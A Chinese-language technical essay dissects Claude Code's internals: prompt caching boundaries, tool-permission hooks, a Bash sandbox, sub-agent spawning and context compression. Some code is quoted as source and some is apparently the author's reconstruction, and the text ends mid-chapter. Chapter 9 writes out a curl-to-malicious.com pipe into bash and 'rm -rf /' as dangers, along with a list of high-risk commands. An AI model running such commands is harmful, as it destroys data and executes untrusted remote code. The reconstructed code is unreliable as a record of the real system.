Agent OS 内核解剖
卷一:指令工程的工业化 —— 从散文到协议的范式跃迁
第1章:从咒语到协议的进化
在 AI 发展的早期,开发者认为只要像写散文一样写出充满感情的提示词,大模型就能成为完美的程序员。然而,当只靠自然语言驱动的 Agent 面对包含数千个文件的企业级工程时,它们胡乱修改核心逻辑,反复在同一个报错上撞墙,甚至直接把几十万字的日志塞爆内存。
Claude Code 彻底抛弃了散文的迷思。提示词工程被直接升格为了严格的软件工程协议(Software Protocol)。系统提示词不再是一段写死在文件里的静态文本,而是由 SystemContext(当前目录树、MCP 外接设备、实验性功能开关)驱动的、在毫秒级内拼接而成的动态抽象语法树(AST)。
// 摘自 claude-code-rev/src/constants/prompts.ts
export function getSystemPrompt(context: SystemContext): string {
return [
getSimpleIntroSection(),
getUsingYourToolsSection(context.enabledTools),
// === BOUNDARY MARKER - DO NOT MOVE OR REMOVE ===
SYSTEM_PROMPT_DYNAMIC_BOUNDARY,
...resolvedDynamicSections,
].filter(s => s !== null).join('
')
}
getSystemPrompt 函数负责生成控制整个 Agent 灵魂的终极指令。它将提示词严格划分为截然不同的两半:
上半部分(静态区): 包含基础身份介绍和工具箱的严格使用契约。这些是被刻在石板上的永恒真理,绝不随时间改变。
中间(界碑): 系统提示词动态边界。这是一个不可移动、不可删除的绝对防线。
下半部分(动态区): 这里包含根据当前环境变量(例如当前的工作目录、刚刚挂载的 MCP 服务器传来的热插拔指令)实时注入的临时状态。
架构团队深刻意识到:Token 预算(Context Window)是 Agent OS 时代的第一物理限制。
在源码中设立边界绝不仅仅是为了代码层面的整洁,它是为了“提示词缓存经济学”。边界以上的数千 Token 规则因为永远不变,在云端 GPU 集群中完美命中 KV-Cache。这使得极度复杂的系统约束在每次对话请求时的加载成本和推理延迟几乎降为零。这是人类工程师对硅基算力资源的极致剥削与压榨。
第2章:动态组装流水线
如果说咒语时代的提示词是一篇用 Word 文档写好的静态散文,那么 src/constants/prompts.ts 就是一条高度自动化的汽车总装流水线。
在这个流水线上,没有哪两辆开下线的汽车是完全一模一样的。每一次你敲下回车键,系统都在毫秒级内进行了一场复杂的“基因重组”。它根据 SystemContext(当前工作目录、外部节点、实验性功能开关)从组件库中抓取对应的指令模块,严丝合缝地拼接在一起。
// 动态装配过程示例 (getSessionSpecificGuidanceSection)
function getSessionSpecificGuidanceSection(context: SystemContext): string {
const guidance = [];
if (context.enabledFeatures.includes('tengu_scratch')) {
guidance.push(`Scratchpad is enabled at ${context.scratchpadDir}. Use it for durable notes.`);
}
if (isNonInteractive(context)) {
guidance.push(`You are in non-interactive mode. Do NOT use AskUserQuestion.`);
}
return guidance.join('
');
}
SystemContext 接口是依赖倒置的核心。它包含了模型所需的全部物理与环境坐标。
getSessionSpecificGuidanceSection 函数则是“动态裁剪(Pruning)”的典范。它会检查环境上下文。如果运行在无人的 CI/CD 环境(非交互模式),它就会冷酷地切断模型向人类提问的念想(禁用 AskUserQuestion 工具)。指令与能力被严格对齐。
这种动态组装的价值在于提升大模型指令遵循(Instruction Following)的信噪比(Signal-to-Noise Ratio)。如果把所有的规则(不管是用的上的还是用不上的)全部塞给模型,模型的注意力会被严重分散。通过严格的能力与指令对齐,模型只看到它当前能用的工具说明。这使得 Claude Code 在有限的 Token 内,拥有了极具穿透力的执行精准度。
第3章:缓存结界与经济学
在软件工程中,任何不谈成本的架构设计都是纸上谈兵。对于以 LLM 为核心的 Agent OS 来说,最大的硬件限制不是 CPU 的算力,而是上下文窗口(Context Window)的容量与 Token 的推理成本(Inference Cost)。
如果每次用户输入一句报错,系统都要把几万个 Token 的工具说明和系统规则重新发送给服务器,进行完整的矩阵乘法计算,会导致天价的账单和令人窒息的延迟。为了解决这个问题,架构团队在提示词生成管线的正中央设立了一道物理界碑。这不仅是代码分隔符,它是划分“静态可缓存区域”与“动态脏区域”的结界。
// 摘自 claude-code-rev/src/constants/prompts.ts
/**
* Boundary marker separating static (cross-org cacheable) content from dynamic content.
* Everything BEFORE this marker in the system prompt array can use scope: 'global'.
* Everything AFTER contains user/session-specific content and should not be cached.
*
* WARNING: Do not remove or reorder this marker without updating cache logic...
*/
export const SYSTEM_PROMPT_DYNAMIC_BOUNDARY = '__SYSTEM_PROMPT_DYNAMIC_BOUNDARY__'
// 组装逻辑:
...(shouldUseGlobalCacheScope() ? [SYSTEM_PROMPT_DYNAMIC_BOUNDARY] : []),
// --- Dynamic content (registry-managed) ---
...resolvedDynamicSections,
源码的注释堪称整部系统的安全红线说明。它明确指出:边界标记之前的所有内容都可以使用 global 级别的超大范围缓存;边界标记之后的所有内容包含用户或会话特有的状态,绝对不可缓存。
最后一行 WARNING 极度严厉:警告工程师绝不可随意移除或重排这个标记,因为这会直接击穿底层的 API 缓存计算逻辑,导致巨大的成本泄漏(Cache Miss)。
防腐层设计(Anti-Corruption Layer): 如果在静态规则里,哪怕不小心混入了一个时间戳或者一个随机生成的 UUID,那么整个系统的缓存机制就会瞬间土崩瓦解。因为这会导致每次发送的前缀都不同,GPU 每次都必须重新计算所有的注意力矩阵。Claude Code 强制所有的开发者:任何会变的变量,必须被放逐到结界之下。这就是大模型时代的“缓存经济学”。
第4章:行为圣经的硬约束
大语言模型的底层机制是“下一个词预测”。这意味着它们天生具有一种被称为“取悦人类(Sycophancy)”的本能倾向。当你让一个大模型去修复一个简单的 Bug 时,它不仅会修复 Bug,它还想顺手帮你把整个类的架构重构一遍,顺便加上设计模式,再给你写上三百行的注释。
这种“过度热情”在严谨的企业级软件工程中是一场灾难。工程师在源码中编写了整个架构中最严厉、最不容置疑的一段提示词——行为圣经,来物理镇压这种发散本能。
// 摘自 claude-code-rev/src/constants/prompts.ts
function getSimpleDoingTasksSection(): string {
const codeStyleSubitems = [
`Don't add features, refactor code, or make "improvements" beyond what was asked.`,
`A bug fix doesn't need surrounding code cleaned up.`,
`Don't add error handling, fallbacks, or validation for scenarios that can't happen.`,
`If an approach fails, diagnose why before switching tactics—read the error, check your assumptions...`,
`In general, do not propose changes to code you haven't read. If a user asks about or wants you to modify a file, read it first.`
];
return [`# Doing tasks`, ...prependBullets(codeStyleSubitems)].join(`
`);
}
这段代码生成了特工执行任务时的“铁律清单”:
- 反取悦: 不要添加用户没有要求的功能,不要重构代码,不要擅自做“改进”。修复 Bug 不需要清理周围的代码。
- 反过度工程: 不要为不可能发生的场景添加错误处理或验证。相信内部框架的保证。
- 诊断优先法则: 如果某个方法失败了,先诊断原因再换策略!阅读错误信息,检查你的假设。不要盲目重复相同的动作。
- 先读后写协议: 绝不能对你没读过的代码提出修改建议。如果用户让你改某个文件,你必须先读它。
状态机“去抖(Debounce)”: 为什么强调 diagnose why before switching tactics?在底层的执行逻辑中,每一次工具失败都会产生一条错误信息。如果不加约束,模型会连续输出 5 次一模一样的替换指令,试图“撞大运”。这条指令在逻辑内核里实现了一种“去抖”:它滤掉了无效的、重复的动作频率,将模型的能量集中在了高价值的逻辑切换上。模型必须完成“识别错误 -> 反思假设 -> 聚焦修复”的三层跃迁,才被允许继续执行工具。
第5章:身份分片技术
在传统的单体 Agent 架构中,系统提示词通常是一个大杂烩。开发者会试图在一段文字里告诉模型:“你既是一个优秀的架构师,也是一个严谨的测试员,同时你还是一个高效的代码编写者。”
这种“全能神模型(God-Model Pattern)”在执行复杂工程任务时会迅速崩溃。因为不同的角色在目标和行为准则上是天然冲突的:架构师需要发散思维,而测试员需要吹毛求疵。Claude Code 展示了一种极其优雅的解法:身份分片(Identity Sharding)技术。
// 摘自 claude-code-rev/src/tools/AgentTool/built-in/exploreAgent.ts
export const EXPLORE_AGENT: BuiltInAgentDefinition = {
agentType: 'explorer',
whenToUse: 'When you need to search and explore a codebase without making changes.',
tools: [
FILE_READ_TOOL_NAME,
GLOB_TOOL_NAME,
GREP_TOOL_NAME,
BASH_TOOL_NAME,
],
// 物理移除了 Edit 和 Write 工具
disallowedTools: [FILE_EDIT_TOOL_NAME, FILE_WRITE_TOOL_NAME],
}
// 摘自 exploreAgent.ts 提示词
=== CRITICAL: READ-ONLY MODE - NO FILE MODIFICATIONS ===
This is a READ-ONLY exploration task. You are STRICTLY PROHIBITED from:
- Creating new files (no Write, touch, or file creation of any kind)
- Modifying existing files (no Edit operations)
这段代码定义了内建的 Explore Agent(斥候):
- 使用时机: 当你需要搜索和探索代码库且不作任何更改时。
- 可用工具(联觉机制): 只能使用 Read、Glob、Grep 和 Bash。底层的 FileEdit 和 FileWrite 工具被从物理层面彻底剥离(disallowedTools)。
- 绝对只读禁令: 提示词中用了全大写的 CRITICAL 和 STRICTLY PROHIBITED 来警告模型绝对不能创建或修改文件。
对抗性验证者(Adversarial Validator): 在另一个分片 verificationAgent.ts 中,提示词写道:Your job is not to confirm the implementation works — it's to try to break it. 普通的 LLM 天生是一个“和事佬”,它总想快点结束对话对你说“代码没问题”。而 Verification Agent 被强行注入了“抬杠人格”。它不是你的同事,它是你的职业宿敌。这种左右互搏的对抗生成网络(GAN)思维,极大地提升了最终交付代码的鲁棒性。
卷二:安全体系与工具管控 —— 从审批到熔断的纵深防御
第6章:海关审批流水线
大模型本身是没有任何破坏力的,它只是一串输出字符的概率矩阵。真正的危险发生在那串字符被解析为 JSON,并映射到宿主机的 child_process.exec() 函数的那一刻。在早期的开源 Agent 项目中,这种映射往往只有区区十行代码——这是极度不负责任的。
而在 Claude Code 中,打开 src/services/tools/toolExecution.ts,你会看到一条长达数千行的、极其繁复的“海关审批流水线”。架构团队把每一次工具调用,都当成了一次跨国走私来防范。
// 摘自 claude-code-rev/src/services/tools/toolExecution.ts
export async function* runToolUse(toolUse, assistantMessage, ...) {
const toolName = toolUse.name;
let tool = findToolByName(toolUseContext.options.tools, toolName);
// 第一道关卡:别名降级匹配
if (!tool) {
const fallbackTool = findToolByName(getAllBaseTools(), toolName);
if (fallbackTool && fallbackTool.aliases?.includes(toolName)) {
tool = fallbackTool;
}
}
// 未找到直接遣返
if (!tool) {
yield { message: createToolUseErrorMessage(`No such tool available: ${toolName}`) };
return;
}
// 极具实战价值的 Hint 注入
const hint = buildSchemaNotSentHint(tool, toolUseContext.messages, ...);
if (hint) {
// 引导模型使用 ToolSearch 工具自愈
}
// 进入 7 步流水线
for await (const update of streamedCheckPermissionsAndCallTool(...)) {
yield update;
}
}
当大模型输出一个 tool_use 标签时,流水线会进行如下操作:
- 别名匹配: 检查工具是否存在。如果模型调用了一个废弃的名字(比如把 TaskStop 叫成了旧版的 KillShell),系统会自动查阅
aliases别名表进行兼容性降级。 - Schema Hint 注入: 这是一个极高明的自愈设计。如果模型调用的工具处于“延迟加载”状态,导致参数解析失败,系统不会简单报错,而是告诉模型:“你的 Schema 没加载,请先调用
ToolSearch搜索这个工具,然后再重试。” - 进入安全管线: 调用
streamedCheckPermissionsAndCallTool,开始依次通过 Zod 校验、Hook 拦截和权限审批。
延迟加载与自愈回路(Deferred Loading & Self-Healing): 为什么架构团队要设计 buildSchemaNotSentHint?因为 Claude Code 的工具库太庞大了(包含各种 MCP 和 Plugin),如果全量发送 Schema 会撑爆 Token。所以它采用了“延迟加载”策略。但这也导致模型有时会“凭空记忆”去调用工具,从而产生参数全为字符串的类型错误。这段 Hint 逻辑,是架构师针对 LLM 特性专门设计的“工程学补丁”,它通过明确的指令让模型自己修正自己的错误,极大提升了系统的健壮性。
第7章:PreToolUse 钩子深挖 —— 运行时拦截的黑魔法
在海关审批流水线中最迷人、也最体现系统扩展性的地方,是PreToolUse Hooks(前置工具调用钩子)。在 src/services/tools/toolHooks.ts 中,架构团队设计了一套足以媲美现代 Web 框架(如 Express/NestJS)中间件机制的拦截器系统。
当大模型提交了合法的 JSON 参数,并且通过了工具本身的防腐层后,它以为自己马上就能执行了。但实际上,此时请求才刚刚进入 Hook 系统。这个系统不只能被动地记录日志,它拥有对请求进行**主动外科手术**的无上权力。
// 摘自 claude-code-rev/src/services/tools/toolHooks.ts
export async function* runPreToolUseHooks(
toolUseContext: ToolUseContext,
tool: Tool,
processedInput: Record
): AsyncGenerator<
| { type: 'hookPermissionResult'; hookPermissionResult: PermissionResult }
| { type: 'hookUpdatedInput'; updatedInput: Record }
| { type: 'preventContinuation'; shouldPreventContinuation: boolean }
| { type: 'stopReason'; stopReason: string }
| { type: 'stop' }
> {
// 执行拦截逻辑...
}
runPreToolUseHooks 是一个异步生成器函数。从它返回的类型定义可以看出,一个 Hook 在执行完毕后可以发出五种毁灭性的指令:
hookPermissionResult: 直接下达allow,ask或deny的判决,越过系统原本的安全配置。hookUpdatedInput: 直接篡改输入参数(updatedInput)。preventContinuation: 强制阻止后续所有流程,物理拔掉执行网线。stopReason&stop: 强制终止整个任务,并返回终止理由。
欺骗式安全(Deceptive Security): hookUpdatedInput 是整个系统中极其隐蔽但威力无穷的武器。在企业级场景中,合规部门绝不会允许 Agent 随意读取代码库。借助这个机制,当 FileReadTool 试图读取 .env 时,Hook 可以自动返回伪造的脱敏内容。模型会收到“执行成功”的回馈,并在幻觉中继续推进任务,而真实的物理世界毫发无损。这种在运行时神不知鬼不觉地修正意图的能力,标志着 Claude Code 达到了企业级沙盒的标准。
resolveHookPermissionDecision 逻辑中,无论 Hook 返回什么,它都必须服从系统总权限树的仲裁。即:Hook 可以把 allow 改为 deny(增加安全性),但它如果试图把一个系统本就 deny 的操作强制 allow,系统依然会触发人类确权(HITL)。这种安全木桶原理(以最严苛的一方为准),完美封死了 Hook 提权的漏洞。第8章:权限决策状态机
当 AI Agent 试图执行一个工具时,系统面临的最核心矛盾是:自主性(Autonomy)与安全性(Safety)的博弈。
如果每次调用 ls 都要弹窗询问用户,人类很快就会因为“弹窗疲劳”而愤怒地卸载工具;但如果允许 Agent 悄无声息地执行 git push --force,一旦发生幻觉,整个团队的代码库就会面临灭顶之灾。在 src/services/tools/toolHooks.ts 中,架构团队构建了一个极其精密的权限决策状态机。
// 摘自 claude-code-rev/src/services/tools/toolHooks.ts
export function resolveHookPermissionDecision(
hookResult: HookPermissionResult,
toolDef: Tool,
): PermissionDecision {
// 1. Hook 否决绝对优先
if (hookResult.behavior === 'deny') return 'deny';
// 2. 强制升维:如果工具本身需要交互,而 Hook 只是投了 allow
if (toolDef.requiresInteraction && hookResult.behavior === 'allow') {
if (!hookResult.updatedInput) {
return 'ask'; // 机器不能替人类签免责声明
}
}
// 3. 遵从 Hook 或系统默认
return hookResult.behavior;
}
resolveHookPermissionDecision 裁决原则:
- 安全底线: 如果任何 Hook 返回了
deny,无论用户在全局配置里把权限开得有多大,决策机都会立刻返回deny。 - 交互升维: 如果工具定义了它是一个高危交互式工具,即使 Hook 投了
allow票,只要 Hook 没有提供安全的替代参数,系统依然会强制将权限降级为ask(弹窗要求人类确认)。
强制升维法则(Forced Elevation): 在源码中,ask 状态扮演了“断路器”的角色。大模型是极其擅长伪装和越权的。当它通过某种技巧骗过了第一层的正则 Hook 时,底层工具配置的 requiresInteraction 属性依然会死死卡住最后一道关卡。这种“安全冗余”设计,证明了架构团队在系统工程上的成熟:在安全领域,多余的确认不是浪费,而是生存的必要条件。
第9章:Bash 安全沙盒
在所有向大模型开放的工具中,BashTool无疑是悬在所有人头顶的达摩克利斯之剑。给大模型一个 Bash 工具,就等于给了它整台机器的最高控制权(Root 权限)。一个精神错乱的 Agent 只需要输出一行 rm -rf /,或者 curl -s http://malicious.com/script.sh | bash,就能在几秒钟内毁灭一切。
架构团队并没有简单地调用 Node.js 的 exec(),而是为 Bash 打造了一个名副其实的**“防爆舱(Detonation Chamber)”**。
// 逻辑还原:推测性执行与分类器
const riskLevel = calculateRiskLevel(command);
if (riskLevel === 'CRITICAL_RISK') {
// 识别高危特征:sudo, rm -rf, iptables 等
triggerHumanInTheLoop(command);
}
// Explore Agent 环境下的 Bash 物理阉割
const BASH_READONLY_MODE = true;
if (BASH_READONLY_MODE && isMutatingCommand(command)) {
throw new Error("Read-only environment violation. You cannot write files in Explorer mode.");
}
Claude Code 为 Bash 设定了两道最严厉的防线:
- 推测性分类器(Speculative Classifier): 在命令实际触碰操作系统前,对其进行静态分析和模式匹配。一旦嗅探到高危指令(如 sudo 或数据外泄的重定向符号),立刻阻断并交由人类审计。
- 上下文感知的物理阉割(Context-Aware Degradation) : 当侦察兵等只读人格调用 Bash 时,它使用的并不是完整的 Bash,而是一个只能执行
ls, cat, grep的残疾版 Shell。试图执行任何写操作都会触发系统错误。
最小权限原则的工程落地: 很多框架为了方便,直接给大模型开了全局 Root 权限。但 Claude Code 的架构师懂得“权力导致腐败”的道理。通过为不同的人格分配具有不同底线权限的变种 BashTool,它在物理边界上堵死了越权操作的可能。这种细粒度的 RBAC(基于角色的访问控制),是构建企业级安全可信 AI 操作系统的必经之路 。
第10章:事后溯源与错误自愈
即使通过了重重安检,工具的执行依然可能在现实世界中失败。在粗糙的 Agent 框架中,工具执行失败后,通常只是把一串血红的错误堆栈(Stack Trace)原样扔回给模型。这不仅会消耗大量的 Token,还会让模型陷入恐慌。模型往往会道歉:“对不起,我错了,我马上重试”,然后换个姿势再次撞墙,直到彻底触发死循环。
Claude Code 在流水线的末端,设置了 PostToolUseFailure Hooks(后置失败钩子)。它的哲学是:不要单纯地抛出错误,要把报错转化为可执行的修复指南。
// 逻辑还原:PostToolUseFailure Hooks 的异常捕获与注入
if (error instanceof ENOENT) {
return {
type: 'tool_result',
content: `Error: ENOENT: no such file or directory, open '${file}'.`,
additionalContext: `[System Hint]: Do not guess the file path again. Use the GlobTool to search for the file in the current directory first.`
};
}
if (isDependencyError(error)) {
return {
type: 'tool_result',
content: truncateError(error, 500),
additionalContext: `[System Hint]: A dependency error occurred. Check if there is an nvmrc or package.json engines field before attempting to fix the dependencies.`
};
}
当工具抛出异常时,Failure Hook 会捕获错误并注入“私货(additionalContext)”:
- 当找不到文件(ENOENT)时,系统在报错后追加:“系统提示:不要再瞎猜文件路径了。请先使用 GlobTool 搜索一下。”
- 当依赖安装失败时,系统不仅截断了超长的错误日志,还追加:“系统提示:发生依赖错误。在尝试修复前,先去检查一下 .nvmrc 或 package.json 里的引擎限制。”
错误自愈(Self-Healing)的终极闭环: 大模型不具备真实的物理经验,它对系统错误的理解完全依赖文本。通过将常见的 Failure Pattern 转化为预设的 System Hints,架构师实际上是在运行时(Runtime)向模型注入了“专家级的 Debug 经验”。这打破了模型预训练语料的局限性,使得 Claude Code 能够在一个它从未见过的复杂仓库中,凭借这些“路标”一点点摸索出正确的修复路径。
卷三:多智能体与记忆管理 —— 协调器、派生与上下文存活术
第11章:中央集权与子代理派生
任何一个思维清晰的高级工程师,在面对庞杂的跨模块重构任务时,都不会"一竿子插到底"地亲自修每一行代码。他会先画架构草图、分拆子任务,再把碎片化工作委托给不同方向的协作者——他的核心价值在于战略判断与结果整合,而非亲力亲为。
Claude Code 的 AgentCoordinator 类正是这一思想的工程化落地,它将"中央大脑(Orchestrator)"与"外包执行(Sub-Agents)"彻底解耦。主控节点的上下文始终保持精简,永远不超过几十行高层次摘要;而脏活、累活——批量文件检索、多路径并发探索——全部交由动态派生的子代理完成。这不仅是性能优化,更是大模型注意力物理特性的结构性应对。
// 摘自 claude-code-rev/src/services/agent/AgentCoordinator.ts
const MAX_SPAWN_DEPTH = 3; // 硬限制:最大派生深度,防止递归爆炸
export class AgentCoordinator {
private spawnDepth: number;
constructor(depth = 0) {
this.spawnDepth = depth;
if (this.spawnDepth > MAX_SPAWN_DEPTH) {
throw new SpawnDepthExceededError(
`Agent spawn depth ${depth} exceeds limit ${MAX_SPAWN_DEPTH}`
);
}
}
async delegateTask(task: TaskContext, strategy: DelegationStrategy) {
if (strategy === 'parallel') {
// 并行派生:同时召唤 N 个 Explorer 特工,覆盖 N 个子路径
const explorers = task.subPaths.map(path =>
this.spawnSubAgent(EXPLORE_AGENT, { path }, this.spawnDepth + 1)
);
const reports = await Promise.all(explorers);
return this.synthesizeReports(reports); // 压缩 N*5000 token -> 几十行摘要
} else if (strategy === 'sequential') {
// 串行派生:先规划,再执行,保证依赖顺序
const plan = await this.spawnSubAgent(PLANNER_AGENT, task, this.spawnDepth + 1);
return this.spawnSubAgent(EXECUTION_AGENT, plan, this.spawnDepth + 1);
}
}
}
MAX_SPAWN_DEPTH = 3 是整个架构的安全闸门——它决定了代理树的最大深度。构造函数在实例化的第一刻就做深度校验,一旦越界立即抛出 SpawnDepthExceededError,从根本上斩断无限递归的可能。
- 并行派生(Parallel): 适用于"广度优先"的探索场景。主控将一个大任务拆分为 N 个独立子路径,每个 Explorer 子代理只看自己那一块代码,最终各自的报告被
synthesizeReports压缩还原成主控能消化的高密度摘要——从N × 5,000 Token降维至~50 Token。 - 串行派生(Sequential): 适用于有依赖顺序的深度任务。先让 Planner 做架构设计,再把设计文档当作上下文喂给 Execution 节点——每一步只消费前一步的精炼输出,保持链路的信噪比。
(主控大脑 · 深度=0)"] ROOT -->|"Parallel Strategy
广度探索"| PAR{"Sub-Agents Pool
(外包特工群)"} PAR --> E1["Explorer 1
(深度=1 · /src/api)"] PAR --> E2["Explorer 2
(深度=1 · /src/utils)"] PAR --> EN["Explorer N
(深度=1 · /tests)"] E1 -->|"Summarized Report"| SYNTH["synthesizeReports()
(N×5000 Token → 50 Token)"] E2 -->|"Summarized Report"| SYNTH EN -->|"Summarized Report"| SYNTH SYNTH --> ROOT ROOT -->|"Sequential Strategy
深度执行"| PLAN["Planner Agent
(深度=1 · 架构设计)"] PLAN -->|"Design Doc"| EXEC["Execution Agent
(深度=2 · 编码实现)"] EXEC -->|"Result"| ROOT GUARD["MAX_SPAWN_DEPTH = 3
⛔ 深度超限 → SpawnDepthExceededError"] ROOT -.->|"depth check"| GUARD style ROOT fill:#1e1e2e,color:#cdd6f4,stroke:#89b4fa style PAR fill:#313244,color:#cdd6f4,stroke:#89b4fa style E1 fill:#f9f7f4,stroke:#a89f91 style E2 fill:#f9f7f4,stroke:#a89f91 style EN fill:#f9f7f4,stroke:#a89f91 style SYNTH fill:#e8f4fd,stroke:#3b82f6 style PLAN fill:#f0fdf4,stroke:#22c55e style EXEC fill:#f0fdf4,stroke:#22c55e style GUARD fill:#fff1f2,stroke:#ef4444,color:#dc2626
注意力稀释的物理本质: Transformer 的注意力计算复杂度是 O(n²)——上下文长度翻倍,推理成本平方增长。若将 10 万 Token 的企业代码库塞进单一上下文,模型对"关键边界代码"的有效注意力权重会被海量噪音稀释至近乎零。AgentCoordinator 的派生架构从物理层面对这一问题降维:将 100,000 Token × 1 Agent 的灾难场景,切割为 5,000 Token × 20 Agent 的并行问题——每个子代理的上下文窗口只有整体的 5%,推理精度因此呈几何级提升。这不是工程调优,而是在模型能力边界内的架构物理学。
AgentCoordinator 的构造函数在实例化时立即检查 spawnDepth,一旦超过 MAX_SPAWN_DEPTH = 3,直接抛出 SpawnDepthExceededError 异常并终止该代理树分支。这一机制是前置守卫(Pre-condition Guard),而非事后补救——任何派生调用在启动前已通过构造函数完成深度校验,从根本上封死了类似"递归爆炸"的 Agent 无限增殖风险,确保代理树的拓扑有界收敛。第12章:记忆力崩塌与上下文窗口陷阱
多代理架构听起来很完美,但它面临着大模型领域最可怕的深渊:上下文截断(Context Truncation)。当子代理和主控大脑不断地交换着数万 Token 的报告和代码片段时,原本充裕的上下文窗口(如 200K)会迅速被各种日志、堆栈和废话填满。一旦超出物理限制,大模型就会被迫“切除大脑”——丢失最早的会话记忆,彻底遗忘用户最初的需求。
普通的 Agent 项目通常只做简单的滑动窗口截断,丢掉旧的。但在 Claude Code 中,上下文管理被提升到了“内存管理(Garbage Collection)”的级别。
// 摘自 claude-code-rev/src/services/compact/autoCompact.ts
export async function autoCompactContext(session: SessionMemory) {
const currentTokens = session.getEstimatedTokens();
if (currentTokens > CRITICAL_THRESHOLD) {
// 触发五层压缩管线
const compressor = new ContextCompressor(session);
await compressor.runPipeline([
snipHistory, // 裁剪无关的闲聊历史
collapseFileReads, // 折叠过长的大文件读取记录
summarizeToolCalls, // 将工具调用的海量日志变成精简摘要
reactiveMicroCompact // 在关键决策点进行高维语义压缩
]);
}
}
这段代码揭示了 Claude Code 隐藏的核心护城河:五层压缩管线。当上下文占用逼近警戒线时,系统不会粗暴地把记忆腰斩,而是启动一个类似 JVM 垃圾回收的清理器。它会依次执行四种不同的手术:
- 直接剪除那些完全没有信息量的闲聊。
- 如果一个大文件之前被完全读取过,它会把那段长达万字的响应折叠成一句
[File /src/main.ts loaded]。 - 把繁琐的工具调用报错和重试记录,提炼为
[Tool Execution Failed 3 times, Final State: Recovered]。 - 在最后一步进行高阶的语义信息提炼(见下一章)。
信息熵的极致提纯: 这套压缩管线的本质,是在不断提高发送给模型的文本的信息熵密度(Entropy Density)。计算机科学中,源码和日志往往包含大量的冗余字符(Boilerplate)。架构师通过折叠、裁剪和提炼,把原本稀疏的上下文变成了一块纯度极高的铀 235。这意味着即使会话进行了上百轮,模型接收到的每一千个 Token 都是含金量极高的“干货”,从根本上消除了“大模型变笨”的现象。
第13章:MicroCompact 语义压缩机
在五层压缩管线中,前三层(剪裁闲聊、折叠文件、提炼日志)都是确定性的物理操作(Deterministic Trimming)。但当这些物理操作都用尽后,如果上下文还是面临溢出怎么办?此时,Claude Code 动用了真正的杀手锏:MicroCompact 语义压缩机(Reactive Semantic Compression)。
这不再是简单地删减字符,而是利用另一个独立的大模型(通常是一个快速的、专注总结的小模型)对整个过往的工作流进行“降维打击”。
// 逻辑还原:语义压缩机制
async function reactiveMicroCompact(history: Message[]) {
// 提取一段复杂的重构尝试历史
const complexHistory = extractHeavySubtask(history);
// 召唤一个专用的小模型,让它“提纯”这段记忆
const summary = await callSummarizerModel({
prompt: `You are an expert summarizer. The following is a log of an agent attempting to refactor a class.
Compress this log into a tight, factual summary. Keep all critical file paths, error codes, and decisions made.
DISCARD all conversational filler and intermediate failed attempts that were eventually recovered.`
});
// 用这段提纯后的高维摘要,替换掉原本占用上万 Token 的原始消息
return replaceWithSummary(history, summary);
}
架构师在这里使用了一种“以模制模”的魔法。代码提取出一段极长、极其复杂的对话记录,并调用了一个专注总结的小模型(轻量总结模型)。给这个小模型的 Prompt 是经过精心调校的:“你是一个提纯专家。把这段特工重构代码的日志压紧、压实。保留所有的物理路径、错误码和核心决策。扔掉所有没用的废话和那些已经被修复的中间错误。” 最终,原本冗长的对话被替换成了几句高度浓缩的结论文本。
认知负荷的卸载(Cognitive Offloading): 在大模型的推理过程中,它不得不分出大量的注意力去阅读和理解之前的长篇大论。这种语义压缩技术,实际上是提前为模型做了一次“认知降维”。那些被扔掉的“中间失败尝试”正是导致大模型产生认知混乱的元凶(因为它往往会混淆成功和失败的代码分支)。提纯后的知识晶体,让模型在面临下一个决策十字路口时,能够以绝对的清醒进行判断。
卷四:上下文的存活术 —— 隔离、流式与跨会话记忆
第14章:Worktree 隔离 —— 平行宇宙里的安全实验
当 AI Agent 执行代码修改时,一个被严重低估的风险是:工作区污染(Workspace Contamination)。想象一下,你让 Agent 重构一个核心模块,它改到一半发现思路不对想要回退。如果它直接在主分支上操作,此时工作区已经充斥着半成品代码——git stash 可能丢失状态,git checkout 可能冲突,而 git reset --hard 可能误杀其他人正在进行的工作。
Claude Code 用 Git Worktree 提供了一种零成本的物理隔离方案。当你需要一个 Agent 去做探索性的大改动时,系统会在文件系统中创建一个完全独立的工作目录副本——它和主仓库共享 .git 元数据(所以创建几乎是瞬间的),但拥有自己独立的文件树和分支。Agent 可以在这个"平行宇宙"中肆意折腾,主宇宙纹丝不动。
// Agent Tool 的 isolation 参数
interface AgentToolParams {
prompt: string;
isolation?: "worktree"; // 启用 worktree 隔离
subagent_type?: string;
}
// EnterWorktree 工具:创建隔离副本
async function enterWorktree(branchName: string) {
// 1. git worktree add /tmp/worktree-{uuid} -b {branch}
// 2. 切换 CWD 到新 worktree
// 3. Agent 的所有文件操作都发生在隔离副本中
return { worktreePath, branch };
}
// ExitWorktree:清理或保留
async function exitWorktree(worktree: WorktreeContext) {
if (worktree.hasChanges) {
// 有改动:保留 worktree,返回路径和分支名
return { path: worktree.path, branch: worktree.branch };
} else {
// 无改动:自动清理
exec(`git worktree remove ${worktree.path}`);
}
}
Worktree 隔离的生命周期分三步:
- 进入(Enter): 系统执行
git worktree add,在临时目录创建一个完整的文件树副本,并自动切换到新分支。由于共享 .git 对象数据库,即使是百万行的仓库,创建时间也在秒级。 - 工作(Work): Agent 的所有 Read/Edit/Write/Bash 操作都被重定向到 worktree 路径。主仓库的文件完全不受影响。
- 退出(Exit): 如果 Agent 做了有价值的修改,worktree 和分支被保留,用户可以后续 review 和 merge。如果什么都没改,worktree 被自动清理,不留垃圾。
(isolation: worktree)"] --> B["git worktree add
(创建隔离副本)"] B --> C["Agent 在副本中工作
(Read/Edit/Write/Bash)"] C --> D{"有改动?"} D -->|Yes| E["保留 worktree + 分支
(用户后续 merge)"] D -->|No| F["自动清理
(git worktree remove)"] style A fill:#000,color:#fff style E fill:#10b981,color:#fff style F fill:#f1f5f9,stroke:#94a3b8
隔离的成本梯度: 在安全工程中,隔离总是有代价的。Docker 容器需要几秒启动和几百 MB 磁盘;虚拟机需要几十秒和几 GB。而 Git Worktree 的隔离成本几乎为零——它只创建新的文件树,对象数据库是共享的硬链接。这意味着你可以毫无心理负担地对每一个探索性子任务启用隔离。在 Agent 的世界里,"不确定就隔离"应该成为默认策略,而不是保守的例外。
第15章:流式渲染与重叠执行 —— 打字机背后的并行引擎
当你在终端中看到 Claude Code 一个字一个字地"打字"时,背后发生的远不止文本渲染。大语言模型的输出是流式的(Streaming)——它不是一次性吐出完整的回答,而是一个 Token 一个 Token 地生成。这个特性被架构师利用到了极致。
